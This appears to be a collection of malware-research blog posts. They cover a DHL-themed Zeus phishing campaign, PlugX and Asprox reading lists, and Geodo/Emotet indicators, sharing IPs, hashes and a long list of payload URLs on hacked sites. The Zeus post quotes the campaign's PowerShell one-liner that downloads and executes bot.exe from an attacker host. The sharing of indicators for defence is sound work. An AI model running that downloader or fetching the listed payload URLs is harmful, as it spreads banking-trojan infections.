DHL themed Zeus campaign is using Powershell as malware downloader

Hello,
I have spotted DHL themed phishing campaign using Powershell as malware downloader. Here are some samples of the malicious downloader attachment from the phishing email:

https://malwr.com/analysis/YTlhOGRmNTNlYzQzNGIzNTg0ZTZiOTFkNDg1OGI1Nzc/
https://malwr.com/analysis/ZmU0MjliNzNhYmRlNDE1YmE4ZGQ3NWIyNzAxMzQzNzE/

Attachment has extension *.doc.zip file (to pretend to look like zippeddocument) and inside there is *.doc.lnk.
Instead of the MS office document there is windows shortcut (.lnk), but normal users will most probably see only ".doc", because the common setting on windows is to hide extension of known file types. Link file points to powershell binary and has download script as commandline parameter.

Powershell donwloader example:
(New-Object System.Net.WebClient).DownloadFile('hxxp://nov01mail.pw/bot.exe','%temp%\l.exe');(New-Object -com Shell.Application).ShellExecute('%temp%\l.exe');!%SystemRoot%\system32\SHELL32.dll

The phishing email targets on german speaking victims. Sample email here:
http://www.trojaner-board.de/172090-gefaelschte-dhl-email-schaedliche-infektion.html
http://www.netzwelt.de/news/155327-vorsicht-dhl-virus-neue-spam-welle-trojaner-anhang.html
http://phishing-mails.blogspot.co.uk/2015/10/dhl-paket-angekommen.html
http://blog.botfrei.de/2015/10/erneute-dhl-spamwelle-erreicht-unsere-rechner/



These IPs seems to be serving as the download sites for the malware(or were at some point in time):
5.1.75.148
64.110.131.48
107.161.27.133
162.221.176.38
172.98.211.5
172.245.59.194
192.95.11.146
192.227.244.6
198.98.101.159
198.175.126.100
216.45.55.231

Download sites:
hxxp://2610goodvin.pw/bot.exe
hxxp://2710goodvin.pw/bot.exe
hxxp://cash777.pw/bot.exe
hxxp://casher777soft.pw/bot.exe
hxxp://cyberdrive77787.pw/bot.exe
hxxp://goodprice27.pw/bot.exe
hxxp://goodprice28.pw/bot.exe
hxxp://goodvin77787.in/bot.exe
hxxp://jinsuperstarberlin.pw/bot.exe
hxxp://mamba7777.pw/bot.exe
hxxp://masterb.in/bot.exe
hxxp://masterdj.pw/bot.exe
hxxp://masterhost2777.pw/bot.exe
hxxp://masterjin777.pw/bot.exe
hxxp://masterl188.pw/bot.exe
hxxp://masterlin188.pw/bot.exe
hxxp://masterlin288.pw/bot.exe
hxxp://masterlin788.pw/bot.exe
hxxp://megamail777.pw/bot.exe
hxxp://mis2018.pw/bot.exe
hxxp://mrsoft777.pw/bot.exe
hxxp://nov01mail.pw/bot.exe
hxxp://nov15mailmarketing.in/bot.exe
hxxp://nov19mailmarketing.pw/bot.exe
hxxp://supermoney.pw/bot.exe
hxxp://supersoftware777.pw/bot.exe
hxxp://superstar7747.pw/bot.exe
hxxp://superstar7747.pw/cc.exe
hxxp://supportsoft777.pw/bot.exe
hxxp://verygoodwin7.pw/bot.exe

Some Samples - unfortunately the malware detection from AV vendors is quite unconclusive on the malware family, but according to abuse.ch it is some moddified version of Zeus so hopefully these will get tracked by ZeusTracker.abuse.ch at some point:
62c02f0bb1145d3928b1df7493476f88
9abcd77b3d4c487c59c88511dcf8a719
8375e892e2c447ffe3e55cb818f68de0
d62a8b934836b58f25f047620f269bc7
62c02f0bb1145d3928b1df7493476f88
09b9b83f37998713ae972a2fc6e45e2f
7dd81b268585c596ed83a38f696a7d4f
4f9e35c56b87b516b587c64da33f2012
581eb87538fd2b65f2ba19f30e2f64ba
363ff98bc76668092eb5b00e55e1a9d3

I was able to obtain these 3 samples and run it through malwr.com
ccb86eccbde7683410910adf09bc0a62
        from hxxp://masterlin788[.]pw/bot.exe
        https://malwr.com/analysis/ZjhiMmVkZjI3NGU3NGM1MGFlNzVjZDY0M2Y0NzcxMjI/
        https://www.hybrid-analysis.com/sample/f8ab572c3a395812147faed7fef2c688c0c2b3d06c0074ade741ad4d51fd870c/?environmentId=1

d0c2e2a48459ea52cc0e42e15c995ee2
        from hxxp://nov19mailmarketing[.]pw/bot.exe
        https://malwr.com/analysis/YWNjYWY1NDk5MjAxNGNjYWFiMDEwNTRhNzNmODY0NTk/
        https://www.hybrid-analysis.com/sample/6bbb45a9784a0b83f077d6a9d4a7e89d07ddd79a9f8b5d605aad3ab0855d9655?environmentId=1

1a482869a04f9bfe1a557ec391f5df57
        from hxxp://supportsoft777[.]pw/bot.exe
        https://malwr.com/analysis/YWY3NTZlYjg1NzJjNGFmYjliNDU2NmFhNDBmNjFhYjc/
       

PlugX Chronicles

This blog-post is to compile list of articles and information bits about the PlugX - malware used as a RAT by several APT groups.

PlugX Tracker - http://ptrack.h3x.eu
PlugX Unsorted Corpus (not categorized samples) http://ptrack.h3x.eu/corpus/297
PlugX Corpus of Setup files (usually RAR SFX) http://ptrack.h3x.eu/corpus/290
PlugX Corpus of EXE (usually signed goodware) http://ptrack.h3x.eu/corpus/291
PlugX Corpus of DLL (malicious stub to load the encrypted payload) http://ptrack.h3x.eu/corpus/292
PlugX Corpus of ENC (encrypted payload) http://ptrack.h3x.eu/corpus/293
PlugX Corpus of DOC (phish documents with embedded PlugX) http://ptrack.h3x.eu/corpus/295

Materials on the topic:

• 2015-11-24 - PaloAltoNetworks - Attack Campaign on the Government of Thailand Delivers Bookworm Trojan
• 2015-11-06 - Volatility Labs - PlugX: Memory Forensics Lifecycle with Volatility - announcement
• 2015-10-29 - Michael Ligh / Volatility Labs - PlugX: The Memory Forensics Lifecycle - presentation
• 2015-10-16 - Citizenlab - Targeted Malware Attacks against NGO Linked to Attacks on Burmese Government Websites
• 2015-10-15 - Charles Rami / Proofpoint - Le cheval de Troie PlugX à l’assaut de l’armée et des télécommunications en Russie
• 2015-10-08 - Sarah Silvestriadis / Wapack Labs - PlugX malware is highly customizable for hackers to pick up – bad news for confidential data
• 2015-09-15 - In Pursuit of Optical Fibers and Troop Intel: Targeted Attack Distributes PlugX in Russia
• 2015-09-13 - Christian - Using threat_note To Track Campaigns: Returning to PIVY and PlugX Infrastructure
• 2015-09-08 - Fabien Perigaud - Volatility plugin for PlugX updated
• 2015-09-04 - Threat Research Team Goes “Beyond the Exploit” in Search of Payloads from MS15-093
• 2015-08-20 - ASERT Threat Intelligence Report 2015-05 PlugX Threat Activity in Myanmar
• 2015-08-19 - Symantec - New Internet Explorer zero-day exploited in Hong Kong attack
• 2015-08-19 - Sara Peters - IE Bug Exploited In Wild After Microsoft Releases Out-Of-Band Patch
• 2015-08-19 - Andra Zaharia - Security Alert: Millions Exposed to Cyber Attacks Because of Internet Explorer Vulnerability
• 2015-08-08 - Christian: Poison Ivy and Links to an Extended PlugX Campaign
• 2015-08-06 - Fabien Perigaud/Airbus - Latest changes in PlugX
• 2015-08-05 - Dell - Threat Group-3390 Targets Organizations for Cyberespionage
• 2015-08-03 - Jason Jones / Arbor - Automating Intelligence: Discovering Recent PlugX Campaigns Programmatically
• 2015-07-30 - Sudeep Singh, Kenneth Hsu / FireEye - CVE-2015-0097 Exploited in the Wild
• 2015-07-28 - FBI Flash - Alert Number A-000063-MW - Plugx
• 2015-06-?? - Paul Shomo - The OPM Hack: I Smell a RAT
• 2015-06-18 - Ellen Nakashima / The Washington Post - Chinese had access to U.S. security clearance data (OPM) for one year
• 2015-04-24 - Roddell Santos / TrendMicro - New Wave of PlugX Targets Legitimate Apps
• 2015-02-15 - Gabor Szappanos / Sophos - plugx-goes-to-the-registry-and-india.pdf
• 2015-02-15 - John Zorabedian / Sophos - research uncovers new developments in PlugX APT malware
• 2015-01-29 - Shusei Tomonaga / JPCERT - Analysis of a Recent PlugX Variant - “P2P PlugX”
• 2014-11-12 - Robert Lipovsky / Korplug military targeted attacks: Afghanistan & Tajikistan
• 2014-10-30 - Gabor Szappanos / Sophos - sophos-rotten-tomato-campaign.pdf
• 2014-10-30 - John Zorabedian / Sophos - The Rotten Tomato Campaign: New SophosLabs research on APTs
• 2014-09-01 - Brandon Dixon - Plugx Development Testing
• 2014-09-01 - @9bplus - Watching Attackers Through Virustotal
• 2014-08-14 - Ned Moran, Joshua Homan, Mike Scott / FireEye - Operation Poisoned Hurricane
• 2014-07-24 - Geok Meng Ong, Chong Rong Hwa / FireEye - Pacific Ring of Fire: PlugX / Kaba
• 2014-07-02 - John Zorabedian / Sophos - The next generation of the PlugX APT – new SophosLabs research
• 2014-06-30 - Gabor Szappanos / Sophos - plugx-thenextgeneration.pdf
• 2014-06-30 - Gabor Szappanos / Sophos - PlugX - the next generation
• 2014-03-31 - Takahiro Haruyama - I Know You Want Me - Unplugging PlugX
• 2014-03-27 - Takahiro Haruyama/CCI - ID/IDAPython scripts extracting PlugX configs
• 2014-03-12 - Takahiro Haruyama - PlugX Builder/Controller (Type III, 0x840)
• 2014-01-29 - Fabien Perigaud / Airbus - PlugX "v2": meet "SController"
• 2014-01-06 - Fabien Perigaud / Airbus - PlugX: some uncovered points
• 2013-12-17 - Roman Vasilenko, Kyle Creyts / Lastline - An Analysis of PlugX Malware
• 2013-12-05 - John Zorabedian / Sophos - SophosLabs researchers dissect PlugX Trojan targeting users in Japan
• 2013-11-12 - Nart Villeneuve, Mike Scott / FireEye - Exploit Proliferation: Additional Threat Groups Acquire CVE-2013-3906
• 2013-05-14 - FireEye - Targeted Attack Trend Alert: PlugX the Old Dog With a New Trick
• 2013-03-26 - Kevin O’Reilly /Contextis - PlugX_-_Payload_Extraction_March_2013_1.pdf
• 2012-11-27 - Dmitry Tarakanov / Kaspersky Securelist - PlugX is Becoming Mature
• 2012-09-17 - Abraham Camba / TrendMicro - Unplugging PlugX Capabilities
• 2012-09-13 - AlienVault - Tracking Down the Author of the PlugX RAT
• 2012-09-10 - Roland Dela Paz / TrendMicro - PlugX: New Tool For a Not So New Campaign

Asprox botnet chronicles

This blog-post is to compile list of articles and information bits about the Asprox botnet.
Asprox malware is being spread around with phishing emails claiming to be from DHL/Fedex/USPS/American Airlines/Costco/Walmart/Pizza Hut/Home Depot/Target and many others as well. It also likes to claim it is court order, funeral/wedding announcement or missed voicemail from WhatsApp.

Asprox C2 Tracker - http://atrack.h3x.eu
Asprox Corpus of EXE (downloader) http://atrack.h3x.eu/corpus/2
Asprox Corpus of ZIP (downloader) http://atrack.h3x.eu/corpus/6
Asprox Corpus of EXE (2nd stage/update) http://atrack.h3x.eu/corpus/5
Asprox Corpus of TXT (displayed message) http://atrack.h3x.eu/corpus/7
Asprox Corpus of DLL modules http://atrack.h3x.eu/corpus/8

Materials on the topic:

• 2015-03-09 - Brad Duncan - What Happened to You, Asprox Botnet?
• 2015-02-25 - TechHelpList - former Asprox intfrastructure used for drug advertising
• 2015-02-04 - TechHelpList - former Asprox intfrastructure used for porn advertising
• 2015-01-02 - Malware-Traffic-Analysis - Fake Target phishing emails from the Asprox botnet
• 2014-12-29 - TechHelpList - Parking Violation Notice - Asprox Malware
• 2014-12-17 - TechHelpList - Details of your order from Best Buy - Asprox Malware
• 2014-12-16 - TechHelpList - Order Confirmation - Walgreens - Asprox Malware
• 2014-12-15 - PaloAlto - Kulouz, Asprox malware family accounts for 80% of attacks
• 2014-12-13 - Softpedia - Facebook Password Change Email Leads to Asprox Malware
• 2014-12-11 - TechHelpList - Facebook password change - Asprox Malware
• 2014-12-11 - The Register - Elderly zombie Asprox botnet STILL mauling biz bods, says survey
• 2014-12-11 - Malware-Traffic-Analysis - Asprox botnet phishing campaign - Subject: Facebook password change
• 2014-12-03 - Gary Warner - ASProx malware threat targets holiday shoppers
• 2014-12-03 - Brian Krebs - Be Wary of ‘Order Confirmation’ Emails
• 2014-11-27 - TechHelpList - Thank you for buying / Order Confirmation / Multiple - Asprox Malware
• 2014-11-20 - Damballa - Partners in Cyber Crime: Following an Advanced Malware Infection Chain
• 2014-11-20 - Damballa - Behind_Malware_Infection_Chain_Rerdom research paper
• 2014-11-12 - Malware-Traffic-Analysis.net - Asprox botnet fake Starbucks phishing emails - delivered Sirius Win 7 Antivirus 2014
• 2014-11-07 - PaloAlto - Kuluoz Trends – October 2014
• 2014-10-29 - Malware-Traffic-Analysis.net - Asprox botnet serving Starbucks coffee
• 2014-10-28 - Malware-Traffic-Analysis.net - Asprox botnet serving free pizza
• 2014-10-08 - TechHelpList - Enjoy your Starbucks Card eGift - Asprox Malware
• 2014-10-02 - TechHelpList - LINE - You have a voice message - Asprox Malware
• 2014-09-11 - Malware-Traffic-Analysis.net - Asprox botnet phishing campaign - DPD - Subject: Home Delivery Notification
• 2014-09-09 - Malware-Traffic-Analysis.net - Apsrox botnet phishing emails - Delta Airlines
• 2014-09-05 - Malware-Traffic-Analysis.net - Asprox botnet phishing email - FedEx - Subject: Postal Notification
• 2014-08-29 - Malware-Traffic-Analysis.net - Asprox botnet phishing email - Subject: Notice of court attendance
• 2014-08-28 - Nick - How Asprox Malware Became an APT in 4 Phases
• 2014-08-18 - Malware-Traffic-Analysis.net - Asprox botnet phishing email - Subject: Payment for driving on a toll road
• 2014-08-06 - Symantec - Asprox URLViewer delivers porn adverts
• 2014-08-04 - Kimberly - Asprox Update - Version 2050
• 2014-07-28 - Long Tran (Fortinet) - Changes in the Asprox Botnet
• 2014-07-22 - Malware-Traffic-Analysis.net - Asprox botnet fake E-ZPass phishing emails
• 2014-07-10 - Malware-Traffic-Analysis.net - Asprox botnet fake court case phishing emails
• 2014-07-09 - Malware-Traffic-Analysis.net - Asprox botnet fake funeral announcement phishing emails
• 2014-07-08 - Malware-Traffic-Analysis.net - Asprox botnet fake E-ZPASS phishing emails
• 2014-06-17 - Kevin Ross - Suricate IDS signature for Asprox traffic
• 2014-06-16 - FireEye - A Not-So Civic Duty: Asprox Botnet Campaign Spreads Court Dates and Malware
• 2014-05-15 - Kimberly - A Journey Inside the Asprox Modules
• 2014-03-17 - Frank Jas - New variant of Kuluoz discovered
• 2014-02-28 - Kimberly - Urgent eviction notification - A deeper dive into the Asprox Ecosystem
• 2014-02-12 - TechHelpList - Your application received - Asprox Malware
• 2014-02-06 - TechHelpList - Asprox botnet advertising fraud - general overview 1
• 2014-01-30 - Kimberly - Eubank Funeral Home themed emails lead to Asprox
• 2014-01-30 - Brad - Asprox Emails and Malware
• 2014-01-11 - Kimberly - PG&E Energy Statement themed emails lead to Asprox
• 2014-01-15 - TechHelpList - Death Notification - Asprox Malware
• 2014-01-07 - TechHelpList - Delivery Canceling - Energy Statement - Malware
• 2014-01-07 - Kimberly - Best Buy themed emails lead to Asprox
• 2014-01-06 - TechHelpList - Asprox botnet trojan run - advertising fraud 1
• 2014-01-04 - Herrcore - Inside The New Asprox/Kuluoz
• 2014-01-05 - Kimberly - Atmos Energy Bill themed emails lead to Asprox
• 2013-12-30 - Kimberly - The Asprox botnet wants you to appear in Court
• 2014-12-26 - Kimberly - Costco themed emails lead to Asprox
• 2013-12-26 - Peter Kruse - Asprox er tilbage (Adobe License)
• 2013-12-26 - Gary Warner - Holiday Delivery Failures lead to Kuluoz malware
• 2013-12-26 - TechHelpList - Scheduled Home Delivery Problem - Asprox Malware
• 2013-12-23 - TechHelpList - Hearing of your case in Court NR#... - Virus
• 2013-12-23 - Conrad Longmore - "Hearing of your case in Court NR#6976" spam
• 2013-12-23 - Daniel Wesemann - Costco, BestBuy, Walmart really want to send you a package!
• 2013-12-23 - TechHelpList - Hearing of your case in Court NR#... - Virus
• 2013-12-22 - TechHelpList - Asprox botnet trojan run - malware spamming 1
• 2013-12-20 - TechHelpList - Please look my CV - Virus
• 2013-12-14 - Johannes B. Ullrich - WhatsApp Malware Spam uses Geolocation to Mass Customize Filename
• 2013-12-06 - TechHelpList - You can download your ticket #... - Virus
• 2013-11-28 - Kimberly - Fake WhatsApp Voice Mail Notification invites Asprox and friends - Kimberly spotted that downloads are using geoip location to custmize filename
• 2013-11-13 - Kimberly - Analysis of Asprox and its New Encryption Scheme
• 2013-11-12 - TechHelpList - New Voicemail Notification - WhatsApp - Malware
• 2013-10-18 - TechHelpList - Wedding Invitation - Malware
• 2013-09-20 - Gary Warner - Fake AV Malware Hits the Android
• 2013-08-15 - Shaked Bar - Kuluoz: Malware and botnet analysis
• 2013-07-07 - #MalwareMustDie! In war with Kuluoz network../2/3
• 2013-06-05 - TechHelpList - Fake Fedex Item Forbidden - Virus
• 2013-06-04 - TechHelpList - Your Parcel Has Been Send - Virus
• 2013-05-01 - RebSnippets - Asprox Botnet 2013 - Phishing Malware As a Service
• 2013-04-22 TechHelpList - Your Order - Fake DHL Malware
• 2013-03-04 - Trendmicro - Asprox Reborn blog
• 2013-02-28 - Trendmicro - Asprox Reborn research paper
• 2013-02-01 - Trendmicro - Asprox Botnet Reemerges in the Form of KULUOZ
• 2013-02-01 - Trendmicro - BKDR_KULUOZ – At a Spam Near You
• 2012-10-09 - HertSec - Investigating UPS Phishing Emails
• 2012-12-12 - Kent Backman - Another familiar phish, yet more ransomware controller proxies
• 2012-09-25 - Kent Backman - New Asprox phish, a few old and many more controller proxies
• 2012-09-21 - Miroslav Stampar - Analysis of mass SQL injection attacks(old scheme)
• 2012-09-15 - Kent Backman - Click here for your Asprox package
• 2012-08-30 - Christopher J. Marcinko - No, USPS Did Not Fail to Deliver a Package This Week
• 2012-01-14 - Ken Johnson - FakeAVLock - FedEx Shipping Issues - Revisited
• 2010-06-25 - ITNews - Asprox botnet causing serious concern
• 2009-10-05 - Gunter Ollmann - Asprox Rearing its SQL Injection Head Again
• 2009-02-10 - Greg Martin - ASPROX Back with a vengance
• 2008-09-29 - SANS - ASPROX mutant
• 2008-08-04 - Greg Martin - ASPROX Latest Attack Vector: JS.JS
• 2008-07-?? - SANS - Cleanup in isle 3 please. Asprox lying around
• 2008-07-23 - Greg Martin - ASPROX SQL Injection Botnet and iFrame/Malware
• 2008-07-07 - Greg Martin - ASPROX Payload Morphed NGG.JS
• 2008-06-30 - SANS Robert Danford - More SQL Injection with Fast Flux hosting
• 2008-06-26 - Gerg Martin - ASPROX SQL Injection Attacks cont.
• 2008-06-23 - Greg Martin - ASPROX SQL Injection Botnet and iFrame/Malware
• 2008-06-13 - SANS Johannes Ulrich - SQL Injection: More of the same
• 2008-01-09 - SANS Bojan Zdrnja - Mass exploits with SQL Injection

Geodo malware in 2015

This blog-post is to publish information gathered on the Geodo malware / botnet. Different researches and AV vendors are calling the malware and related botnet with different names - Bugat / Feodo / Cridex / Dridex / Emotet. I use the name Geodo for the malware family as used by the FeodoTracker.abuse.ch as version "C". It seems that the group is using different codebase for the malware downloader of the botnet, but the communication protocols seems to be similar or same. I will try to focus on Geodo, but I will keep references to analysis also the to other related malware families as it can easily turn out I would have to extend the scope.

Gathered corpus of Geodo malware family:
EXE http://gtrack.h3x.eu/corpus
ZIP http://gtrack.h3x.eu/corpus/121
Modules http://gtrack.h3x.eu/corpus/122
PDF http://gtrack.h3x.eu/corpus/123

Trackers:
FeodoTracker.abuse.ch as version "C"
C2 http://gtrack.h3x.eu/c2
Download http://gtrack.h3x.eu/download

Third party materials on the topic:

• 2015-05-12 - Justin - Indicators - Geodo Malware Part 2
• 2015-05-11 - Justin - Indicators - Geodo Malware
• 2015-04-09 - Alexey Shulmin - The Banking Trojan Emotet: Detailed Analysis
• 2015-03-02 - Martin Eian - Geodo - Round 3
• 2015-02-26 - Mimikama - Trojaner-Warnung: DHL Zustellung
• 2015-02-24 - Miikama - ACHTUNG: gefälschte Telekom Rechnung Februar ist ein Trojaner!
• 2015-02-21 - Gizmodo - Telekom leitet neue Schritte zum Schutz vor Phishing-Rechnungen ein
• 2014-02-17 - ESET - Emotet: ESET-Experten analysieren Banking-Malware
• 2015-01-07 - SCMagazine - Variant of Emotet banking malware used in spam campaign
• 2015-01-06 - Microsoft - Emotet spam campaign targets banking credentials
• 2014-11-22 - Mimikama - Vodafone: Ihre Festnetz-Rechnung für November 2014
• 2014-09-09 - StopMalwaretising - Fake BH Live E-Tickets for Peter Pan lead to Dridex
• 2014-09-05 - Abuse.ch Cridex, Feodo, Geodo, Dridex, whats next?
• 2014-08-14 - Etay Maor - New Variant of Bugat Malware Borrows Lucrative Gameover Zeus Techniques
• 2014-08-08 - StopMalwaretising - Delivery failure notice from the UKMail Group leads to Dridex
• 2014-08-03 - StopMalwaretising - Analysis of Dridex / Cridex / Feodo / Bugat
• 2014-07-25 - S21Sec - Dridex - New Feodo variant follows Geodo steps
• 2014-07-23 - Microsoft - Emotet
• 2014-07-03 - SecurityAffairs - Geodo, the banking trojan with email self-spreading feature
• 2014-07-01 - Seculert - Geodo: New Cridex Version Combines Data Stealer and Email Worm
• 2014-07-01 - Net-Security - Geodo infostealer gets help from worm
• 2014-06-27 - TrendMicro - New Banking Malware Uses Network Sniffing for Data Theft
• 2014-06-12 - TrendMicro - Threat Encyclopedia - TSPY_EMOTET.L
• 2014-06-11 - Abuse.ch Goodbye Feodo, Hello Geodo!
• 2014-01-20 - Abuse.ch introducing Feodo (Cridex) tracker
• 2014-01-16 - MalwareMustDie - pastebin
• 2014-01-16 - Chip - Vodafone, Telekom: Phishing mit falscher Rechnung
• 2014-01-16 - Mimikama - Trojaner warnung Vodafone online rechnung
• 2014-01-17 - MalwareMustDie - Cridex Fareit Infection
• 2013-01-07 - x1a0ran - malware analysis worm cridex 2
• 2013-01-07 - x1a0ran - malware analysis worm cridex 1
• 2010-10-01 - FireEye - Feodo - A new botnet on the rise

We have seen huge campaign of phishing emails On the end of February / beginning of March 2015 w. It was targeting primarily the german speaking countries with email templates trying to convince the recipients, that there is a bill to pay - from DHL, Vodafone, Telecom, Volkers bank, UPC.
Phishing is most probably being sent misusing the stolen email credentials. Download sites are hacked web-servers - mostly of targeting vulnerable installations of the WordPress.
So far I have seen these download places, but there will be hundreds more:
http://1stfocusfinancial.com/amazon/Amazon_Bestellnummer_303_03866281_7290283.zip http://7tech.4ti.com.ua/wp-admin/includes/NSMuQFDoh/ups_kontrollnummer_5D27N0937615344790.zip http://7tech.4ti.com.ua/wp-admin/includes/apps_ups_com/apps_ups_com_tracknum_1Z63A5056641855116.zip http://7tech.4ti.com.ua/wp-admin/includes/dhl_nolp_de/dhl_paket_008476892048572654091.zip http://24c.tv/dhl_paket http://77sky.co.in/dhl_paket/dhl_paket_003404019826251348371.zip http://799wp.com/demo/wp-content/uploads/4CMrIKkwnX/2015_03Details_zur_Transaktion_7895111.zip http://888fireinsurance.com/dhl_nextt_online_public/ZustellinfoDHL_Mitteilungen_8445438742.zip http://abacafe.org.br/AmeHIPtf/Dhl_Status___00046__701029_182704.zip http://abcacontece.com.br/dorpEXkwQhcs/Dhl_Status___039478__02390654_007.zip http://about.artlinkart.com/UGJtRTmOIXN/ups_sendungsdetails_03_2015.zip http://about.artlinkart.com/ZnSDm0KR/DHLKunden_439875450020573475048.zip http://about.artlinkart.com/amazon/Amazon_Bestellnummer_303_03866281_7290283.zip http://about.artlinkart.com/dhl_nolp_de/dhl_paket_008476892048572654091.zip http://about.artlinkart.com/ups_lang_de/ups_lang_de_Tracking_4P63M5427712804597.zip http://abusites.com/dhl_nextt_online_public/ZustellinfoDHL_Mitteilungen_8445438742.zip http://accesstremblant.ca/dhl_paket/dhl_paket_003404019826251348371.zip http://acetaxis.com/amazon/Amazon_Bestellnummer_303_03866281_7290283.zip http://acetaxis.com/apps_ups_com/apps_ups_com_tracknum_1Z63A5056641855116.zip http://acetaxis.com/dhl_nolp_de/dhl_paket_008476892048572654091.zip http://achievehealth.ca/dhl_nextt_online_public/ZustellinfoDHL_Mitteilungen_8445438742.zip http://acr.srv.br/W768gEmpPk03/DHL_Sendungsverfolgung_DE_de_0404950054958373.zip http://adlike.co.kr/wp-content/uploads/apps_ups_com/apps_ups_com_tracknum_1Z63A5056641855116.zip http://adlike.co.kr/wp-content/uploads/dhl_nolp_de/dhl_paket_008476892048572654091.zip http://adlike.co.kr/wp-content/uploads/i5UPhfELe/ups_kontrollnummer_5D27N0937615344790.zip http://admarula.com/wp-content/uploads/5pYPWROAJLK/ups_kontrollnummer_5D27N0937615344790.zip http://admission.bu.ac.th/41FUljrHa/Dhl___Sendungsverfolgung___0038478_993489_000022.zip http://adongbeauty.com.vn/dhl_paket/dhl_paket_003404019826251348371.zip http://adongbeauty.com.vn/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://aenzayfm.com/xlTyh3WjR02D/UPS_Service_standard_Nummer_032924923480.zip http://afazja.com.pl/gstXWNHCA/Dhl_Status___00046__701029_182704.zip http://affordabletrailerrentals.com/MGQ4cA8IzE/DHLKunden_439875450020573475048.zip http://agromaster.com.my/dhl_paket/dhl_paket_003404019826251348371.zip http://agromaster.com.my/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://aiodash.com/0HsaIPkFqN/ups_kontrollnummer_5D27N0937615344790.zip http://aiodash.com/apps_ups_com/apps_ups_com_tracknum_1Z63A5056641855116.zip http://airpanorama.ca/bi8t6LfpG/Dhl_Status___039478__02390654_007.zip http://airworld.com.my/S2Rb6VNkA/Dhl___Sendungsverfolgung___0038478_993489_000022.zip http://akabeburo.com.tr/dhl_paket/dhl_paket_003404019826251348371.zip http://akbzh.nl/dhl_paket/dhl_paket_003404019826251348371.zip http://alconse.com/5go9uTlftG/DHL_Sendungsverfolgung_DE_0024000035548028.zip http://aleperezcoria.com/Telekom_RechnungFebruar2015 http://allabouthomedesigns.com/PjQL1aby/ups_kontrollnummer_5D27N0937615344790.zip http://allabouthomedesigns.com/dhl_nolp_de/dhl_paket_008476892048572654091.zip http://almsoftsol.com/beta/wp-content/uploads/HTLbMuqOY/DHL_Sendungsverfolgung_DE_de_0404950054958373.zip http://alphaestates.in/Rechnung_2015_02/Rechnung_2015_02.zip http://alphaestates.in/Telekom_RechnungFebruar2015/RechnungFebruar2015.zip http://alphaestates.in/Vodafone_2015FebruarRechnung/Vodafone_2015FebruarRechnung.zip http://alphaestates.in/dhl_paket/dhl_paket_003404019826251348371.zip http://alphaestates.in/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://alphaestates.in/dhl_sendungsnummer/dhl_paket_sendungsnummer_00340433836295436788.zip http://alphaestates.in/ups_webtracking/ups_webtracking_1S63A0003659818362.zip http://alphaestates.in/volksbank/Informationen_Kontobewegung_februar_2015.zip http://aniltelekom.com/iRwEzL4tke8/2015_03Details_zur_Transaktion_7895111.zip http://annamichna.pl/WrwIc7Hv/Dhl_Status___00046__701029_182704.zip http://anti-aging.us/woXrQKTUlteu/ups_kontrollnummer_5D27N0937615344790.zip http://aorealestate.com/dhl_nolp_de/dhl_paket_008476892048572654091.zip http://aorealestate.com/xmS3BraZolq/ups_kontrollnummer_5D27N0937615344790.zip http://apartamentymarina.com.pl/fKJbopQ7/Dhl_Status___00046__701029_182704.zip http://aplusmovers.ca/1a48guKdp/Dhl_Aktueller_Status_03_2015.zip http://apnaorganics.in/dhl_paket/ http://arcophon.com/wp-content/NyBFLiHwxYIh/ups_kontrollnummer_5D27N0937615344790.zip http://aresventilacao.com.br/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://armeriapilo.it/qEpHcZbIAwnVR/DHL_Report_Zustellungsstatus__04__05__2015.zip http://art-rama.pl/SlQf5B0ZpGn/Dhl_Aktueller_Status_03_2015.zip http://asar.asat.org.il/9kbC7rUy6P/ups_kontrollnummer_5D27N0937615344790.zip http://asar.asat.org.il/dhl_nolp_de http://asean.ssru.ac.th/weiA2cUn/Status_Kontostand_03_2015.zip http://asrjeans.com/MxGbWi93/ups_kontrollnummer_5D27N0937615344790.zip http://aurosks.com/Rq48ZhbS/ups_kontrollnummer_5D27N0937615344790.zip http://autoserwis-istebna.pl/34lvpZbmNc0/Dhl_Status___00046__701029_182704.zip http://auxanges-hammam.fr/Rechnung_2015_02 http://avmo.org/2GeNczhpPbj/Dhl_Aktueller_Status_03_2015.zip http://avmo.org/FO2jAK4SsP7/Vodafone_de_Rechnung_03_2015.zip http://axcenta.com/oCSkP3EIp/Dhl_Aktueller_Status_03_2015.zip http://axiomtec-software.ch/dR9KmW2HYJsB/DHL_Sendungsverfolgung_DE_0024000035548028.zip http://aydin.be/KHysJT5uhz/Status_DHL_Sendungsverfolgung__29__04__2015.zip http://backtohappiness.com/XoxIMUBYe2/ups_kontrollnummer_5D27N0937615344790.zip http://bandblakecomo.com/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://bandolfi.com/dhl_paket/dhl_paket_003404019826251348371.zip http://bastia-publicite.com/Rechnung_2015_02 http://bbvaillancourt.ca/EaIRMFkXlqe/Dhl_Status___039478__02390654_007.zip http://bdhme.com/IHZ6ilELdg/Dhl___Sendungsverfolgung___0038478_993489_000022.zip http://begreener.cafe24.com/Rechnung_2015_02/Rechnung_2015_02.zip http://bennds.com.br/nFyEHKC9D7m/Dhl_Aktueller_Status___01_04_2015.zip http://bennds.com.br/nFyEHKC9D7m/Dhl_Status___039478__02390654_007.zip http://bettisinsurance.com/cjHA8lbO/Dhl_Aktueller_Status_03_2015.zip http://bharatelectric.in/El8uoOIq/ups_kontrollnummer_5D27N0937615344790.zip http://bilgimerkez.org/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://bisnisonline101.com/dhl_paket_de/dhl_paket_de_003407293054131348371.zip http://blog.citydent.ro/4JrUFHuy9b/ups_kontrollnummer_5D27N0937615344790.zip http://blog.ichef.tw/NeQFuSwmd/ups_kontrollnummer_5D27N0937615344790.zip http://blog.ichef.tw/dhl_nolp_de/dhl_paket_008476892048572654091.zip http://blog.ichef.tw/rysUjePKN9wl/ups_sendungsdetails_03_2015.zip http://bloodwood.com.pl/ByanAv90G1/Dhl___Sendungsverfolgung___0038478_993489_000022.zip http://bneart.yez.vn/Rechnung_2015_02 http://bobitrans.pl/dhbjmp4U/Dhl_Status___00046__701029_182704.zip http://boceventhospitality.com.au/Rechnung_2015_02 http://bodywaxingtips.com/ups_webtracking/ups_webtracking_1s63a0003659818362.zip http://bodyworlds.be/Wq3bMBaeJmLdD/Status_DHL_Sendungsverfolgung__29__04__2015.zip http://bookantika.com/cPg9JqAn8S/ups_kontrollnummer_5D27N0937615344790.zip 